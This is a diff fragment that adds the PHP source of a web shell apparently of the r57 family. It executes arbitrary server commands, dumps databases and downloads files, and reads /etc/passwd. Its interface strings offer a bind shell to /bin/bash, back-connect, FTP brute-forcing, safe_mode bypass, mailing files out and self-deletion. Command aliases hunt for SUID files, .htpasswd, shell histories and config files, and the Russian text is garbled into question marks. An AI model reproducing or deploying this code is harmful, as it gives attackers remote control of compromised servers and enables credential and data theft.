+ if ($compress == 'bzip' && @function_exists('bzcompress'))
+ {
+ $filename .= '.bz2';
+ $mime_type = 'application/x-bzip2';
+ $filedump = bzcompress($filedump);
+ }
+ else if ($compress == 'gzip' && @function_exists('gzencode'))
+ {
+ $filename .= '.gz';
+ $content_encoding = 'x-gzip';
+ $mime_type = 'application/x-gzip';
+ $filedump = gzencode($filedump);
+ }
+ else if ($compress == 'zip' && @function_exists('gzcompress'))
+ {
+ $filename .= '.zip';
+ $mime_type = 'application/zip';
+ $zipfile = new zipfile();
+ $zipfile -> addFile($filedump, substr($filename, 0, -4));
+ $filedump = $zipfile -> file();
+ }
+ else
+ {
+ $mime_type = 'application/octet-stream';
+ }
+ }
+function mailattach($to,$from,$subj,$attach)
+ {
+ $headers = "From: $from\r\n";
+ $headers .= "MIME-Version: 1.0\r\n";
+ $headers .= "Content-Type: ".$attach['type'];
+ $headers .= "; name=\"".$attach['name']."\"\r\n";
+ $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
+ $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
+ if(@mail($to,$subj,"",$headers)) { return 1; }
+ return 0;
+ }
+if(isset($_GET['img'])&&!empty($_GET['img']))
+ {
+ $images = array();
+ $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
+ $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
+ @ob_clean();
+ header("Content-type: image/gif");
+ echo base64_decode($images[$_GET['img']]);
+ die();
+ }
+if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
+ {
+ if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
+ else
+ {
+ @ob_clean();
+ $filename = @basename($_POST['d_name']);
+ $filedump = @fread($file,@filesize($_POST['d_name']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
+ header("Content-type: ".$mime_type);
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+ exit();
+ }
+ }
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if ($_POST['cmd']=="db_query")
+ {
+ echo $head;
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mysql_query($query,$db);
+ $error = @mysql_error($db);
+ if($error) { echo " "; }
+ else {
+ if (@mysql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mysql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @mysql_affected_rows($db))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @mysql_free_result($res);
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "Can't connect to MySQL server
";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mssql_query($query,$db);
+ if (@mssql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mssql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "affected rows : ".$rows."
"; } else { echo " "; }} */
+ @mssql_free_result($res);
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "Can't connect to MSSQL server
";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @pg_query($db,$query);
+ $error = @pg_errormessage($db);
+ if($error) { echo " "; }
+ else {
+ if (@pg_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @pg_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @pg_affected_rows($res))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @pg_free_result($res);
+ }
+ }
+ @pg_close($db);
+ }
+ else echo "Can't connect to PostgreSQL server
";
+ break;
+ case 'Oracle':
+ $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
+ if(($error = @ocierror())) { echo "Can't connect to Oracle server. ".$error['message']."
"; }
+ else
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5) {
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $stat = @ociparse($db, $query);
+ @ociexecute($stat);
+ if(($error = @ocierror())) { echo "Error : ".$error['message']."
"; }
+ else
+ {
+ $rowcount = @ocirowcount($stat);
+ if($rowcount != 0) {echo "affected rows : ".$rowcount."
";}
+ else {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ocicolumnname($stat, $j))." "; }
+ echo " ";
+ while(ocifetch($stat))
+ {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ociresult($stat, $j))." "; }
+ echo " ";
+ }
+ echo "
";
+ }
+ @ocifreestatement($stat);
+ }
+ }
+ }
+ @ocilogoff($db);
+ }
+ break;
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+$lang=array(
+'ru_text1' =>'??????????? ???????',
+'ru_text2' =>'?????????? ?????? ?? ???????',
+'ru_text3' =>'????????? ???????',
+'ru_text4' =>'??????? ??????????',
+'ru_text5' =>'???????? ?????? ?? ??????',
+'ru_text6' =>'????????? ????',
+'ru_text7' =>'??????',
+'ru_text8' =>'???????? ?????',
+'ru_butt1' =>'?????????',
+'ru_butt2' =>'?????????',
+'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
+'ru_text10'=>'??????? ????',
+'ru_text11'=>'?????? ??? ???????',
+'ru_butt3' =>'???????',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-?????',
+'ru_text14'=>'????',
+'ru_butt4' =>'?????????',
+'ru_text15'=>'???????? ?????? ? ?????????? ???????',
+'ru_text16'=>'????????????',
+'ru_text17'=>'????????? ????',
+'ru_text18'=>'????????? ????',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'????????????',
+'ru_text21'=>'????? ???',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'????????? ????',
+'ru_text24'=>'????????? ????',
+'ru_text25'=>'????????? ????',
+'ru_text26'=>'????????????',
+'ru_butt5' =>'?????????',
+'ru_text28'=>'?????? ? safe_mode',
+'ru_text29'=>'?????? ????????',
+'ru_butt6' =>'???????',
+'ru_text30'=>'???????? ?????',
+'ru_butt7' =>'???????',
+'ru_text31'=>'???? ?? ??????',
+'ru_text32'=>'?????????? PHP ????',
+'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
+'ru_butt8' =>'?????????',
+'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
+'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
+'ru_text36'=>'????',
+'ru_text37'=>'?????',
+'ru_text38'=>'??????',
+'ru_text39'=>'???????',
+'ru_text40'=>'???? ??????? ???? ??????',
+'ru_butt9' =>'????',
+'ru_text41'=>'????????? ? ?????',
+'ru_text42'=>'?????????????? ?????',
+'ru_text43'=>'????????????? ????',
+'ru_butt10'=>'?????????',
+'ru_butt11'=>'?????????????',
+'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
+'ru_text45'=>'???? ????????',
+'ru_text46'=>'???????? phpinfo()',
+'ru_text47'=>'???????? ???????? php.ini',
+'ru_text48'=>'???????? ????????? ??????',
+'ru_text49'=>'???????? ??????? ? ???????',
+'ru_text50'=>'?????????? ? ??????????',
+'ru_text51'=>'?????????? ? ??????',
+'ru_text52'=>'????? ??? ??????',
+'ru_text53'=>'?????? ? ?????',
+'ru_text54'=>'????? ?????? ? ??????',
+'ru_butt12'=>'?????',
+'ru_text55'=>'?????? ? ??????',
+'ru_text56'=>'?????? ?? ???????',
+'ru_text57'=>'???????/??????? ????/??????????',
+'ru_text58'=>'???',
+'ru_text59'=>'????',
+'ru_text60'=>'??????????',
+'ru_butt13'=>'???????/???????',
+'ru_text61'=>'???? ??????',
+'ru_text62'=>'?????????? ???????',
+'ru_text63'=>'???? ??????',
+'ru_text64'=>'?????????? ???????',
+'ru_text65'=>'???????',
+'ru_text66'=>'???????',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'???????',
+'ru_text69'=>'????????1',
+'ru_text70'=>'????????2',
+'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
+'ru_text72'=>'????? ??? ??????',
+'ru_text73'=>'?????? ? ?????',
+'ru_text74'=>'?????? ? ??????',
+'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
+'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
+'ru_text77'=>'???????? ????????? ???? ??????',
+'ru_text78'=>'?????????? ???????',
+'ru_text79'=>'?????????? ???????',
+'ru_text80'=>'???',
+'ru_text81'=>'????',
+'ru_text82'=>'???? ??????',
+'ru_text83'=>'?????????? SQL ???????',
+'ru_text84'=>'SQL ??????',
+'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
+'ru_text86'=>'?????????? ????? ? ???????',
+'ru_butt14'=>'???????',
+'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????',
+'ru_text88'=>'FTP-??????:????',
+'ru_text89'=>'???? ?? ftp ???????',
+'ru_text90'=>'????? ????????',
+'ru_text91'=>'???????????? ?',
+'ru_text92'=>'??? ?????????',
+'ru_text93'=>'FTP',
+'ru_text94'=>'FTP-????????',
+'ru_text95'=>'?????? ?????????????',
+'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
+'ru_text97'=>'????????? ??????????: ',
+'ru_text98'=>'??????? ???????????: ',
+'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',
+'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
+'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',
+'ru_text102'=>'?????',
+'ru_text103'=>'???????? ??????',
+'ru_text104'=>'???????? ????? ?? ???????? ????',
+'ru_text105'=>'????',
+'ru_text106'=>'??',
+'ru_text107'=>'????',
+'ru_butt15'=>'?????????',
+'ru_text108'=>'????? ??????',
+'ru_text109'=>'????????',
+'ru_text110'=>'??????????',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Executed command',
+'eng_text2' =>'Execute command on server',
+'eng_text3' =>'Run command',
+'eng_text4' =>'Work directory',
+'eng_text5' =>'Upload files on server',
+'eng_text6' =>'Local file',
+'eng_text7' =>'Aliases',
+'eng_text8' =>'Select alias',
+'eng_butt1' =>'Execute',
+'eng_butt2' =>'Upload',
+'eng_text9' =>'Bind port to /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Password for access',
+'eng_butt3' =>'Bind',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Connect',
+'eng_text15'=>'Upload files from remote server',
+'eng_text16'=>'With',
+'eng_text17'=>'Remote file',
+'eng_text18'=>'Local file',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'Use',
+'eng_text21'=>' New name',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Local port',
+'eng_text24'=>'Remote host',
+'eng_text25'=>'Remote port',
+'eng_text26'=>'Use',
+'eng_butt5' =>'Run',
+'eng_text28'=>'Work in safe_mode',
+'eng_text29'=>'ACCESS DENIED',
+'eng_butt6' =>'Change',
+'eng_text30'=>'Cat file',
+'eng_butt7' =>'Show',
+'eng_text31'=>'File not found',
+'eng_text32'=>'Eval PHP code',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'Test',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'Database',
+'eng_text37'=>'Login',
+'eng_text38'=>'Password',
+'eng_text39'=>'Table',
+'eng_text40'=>'Dump database table',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'Save dump in file',
+'eng_text42'=>'Edit files',
+'eng_text43'=>'File for edit',
+'eng_butt10'=>'Save',
+'eng_text44'=>'Can\'t edit file! Only read access!',
+'eng_text45'=>'File saved',
+'eng_text46'=>'Show phpinfo()',
+'eng_text47'=>'Show variables from php.ini',
+'eng_text48'=>'Delete temp files',
+'eng_butt11'=>'Edit file',
+'eng_text49'=>'Delete script from server',
+'eng_text50'=>'View cpu info',
+'eng_text51'=>'View memory info',
+'eng_text52'=>'Find text',
+'eng_text53'=>'In dirs',
+'eng_text54'=>'Find text in files',
+'eng_butt12'=>'Find',
+'eng_text55'=>'Only in files',
+'eng_text56'=>'Nothing :(',
+'eng_text57'=>'Create/Delete File/Dir',
+'eng_text58'=>'name',
+'eng_text59'=>'file',
+'eng_text60'=>'dir',
+'eng_butt13'=>'Create/Delete',
+'eng_text61'=>'File created',
+'eng_text62'=>'Dir created',
+'eng_text63'=>'File deleted',
+'eng_text64'=>'Dir deleted',
+'eng_text65'=>'Create',
+'eng_text66'=>'Delete',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Command',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Text for find',
+'eng_text73'=>'Find in folder',
+'eng_text74'=>'Find in files',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Search text in files via find',
+'eng_text77'=>'Show database structure',
+'eng_text78'=>'show tables',
+'eng_text79'=>'show columns',
+'eng_text80'=>'Type',
+'eng_text81'=>'Net',
+'eng_text82'=>'Databases',
+'eng_text83'=>'Run SQL query',
+'eng_text84'=>'SQL query',
+'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
+'eng_text86'=>'Download files from server',
+'eng_butt14'=>'Download',
+'eng_text87'=>'Download files from remote ftp-server',
+'eng_text88'=>'FTP-server:port',
+'eng_text89'=>'File on ftp',
+'eng_text90'=>'Transfer mode',
+'eng_text91'=>'Archivation',
+'eng_text92'=>'without archivation',
+'eng_text93'=>'FTP',
+'eng_text94'=>'FTP-bruteforce',
+'eng_text95'=>'Users list',
+'eng_text96'=>'Can\'t get users list',
+'eng_text97'=>'checked: ',
+'eng_text98'=>'success: ',
+'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
+'eng_text100'=>'Send file to remote ftp server',
+'eng_text101'=>'Use reverse (user -> resu) login for password',
+'eng_text102'=>'Mail',
+'eng_text103'=>'Send email',
+'eng_text104'=>'Send file to email',
+'eng_text105'=>'To',
+'eng_text106'=>'From',
+'eng_text107'=>'Subj',
+'eng_butt15'=>'Send',
+'eng_text108'=>'Mail',
+'eng_text109'=>'Hide',
+'eng_text110'=>'Show',
+);
+/*
+?????? ??????
+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
+?? ?????? ???? ????????? ??? ???????? ???????.
+*/
+$aliases=array(
+'find suid files'=>'find / -type f -perm -04000 -ls',
+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
+'find sgid files'=>'find / -type f -perm -02000 -ls',
+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
+'find config.inc.php files'=>'find / -type f -name config.inc.php',
+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
+'find config* files'=>'find / -type f -name "config*"',
+'find config* files in current dir'=>'find . -type f -name "config*"',
+'find all writable files'=>'find / -type f -perm -2 -ls',
+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
+'find all writable directories'=>'find / -type d -perm -2 -ls',
+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
+'find all writable directories and files'=>'find / -perm -2 -ls',
+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
+'find all service.pwd files'=>'find / -type f -name service.pwd',
+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
+'find all .htpasswd files'=>'find / -type f -name .htpasswd',
+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
+'find all .bash_history files'=>'find / -type f -name .bash_history',
+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
+'find all .mysql_history files'=>'find / -type f -name .mysql_history',
+'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
+'list file attributes on a Linux second extended file system'=>'lsattr -va',
+'show opened ports'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " ? ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." "; }
+ else
+ {
+ echo '';
+ foreach($users as $user) { echo $user." "; }
+ echo ' ';
+ }
+ echo " "; die();
+ }
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$windows = 0;
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $windows = 1; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= ($windows)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function get_users()
+{
+ $users = array();
+ $rows=file('/etc/passwd');
+ if(!$rows) return 0;
+ foreach ($rows as $string)
+ {
+ $user = @explode(":",$string);
+ if(substr($string,0,1)!='#') array_push($users,$user[0]);
+ }
+ return $users;
+}
+function we($i)
+{
+if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; }
+else { $text = "[-] ERROR! Can't write in file "; }
+echo "";
+return null;
+}
+function re($i)
+{
+if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; }
+else { $text = "[-] ERROR! Can't read file "; }
+echo "";
+return null;
+}
+function ce($i)
+{
+if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; }
+else { $text = "Can't create "; }
+echo "";
+return null;
+}
+function fe($l,$n)
+{
+$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????');
+$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');
+echo "";
+return null;
+}
+function mr($l,$n)
+{
+$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????');
+$text['eng'] = array('Can\'t send mail','Mail sent');
+echo "";
+return null;
+}
+function perms($mode)
+{
+if ($GLOBALS['windows']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value)
+{
+ $ret = " ";
+ return $ret;
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or we($fname);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+function DirFiles($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (FALSE !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(!is_dir($dir."/".$file))
+ {
+ if($types)
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,@explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirFilesWide($dir)
+ {
+ $files = Array();
+ $dirs = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ $file = @strtoupper($file);
+ $dirs[$file] = '<DIR>';
+ }
+ else
+ $files[$file] = @filesize($dir."/".$file);
+ }
+ }
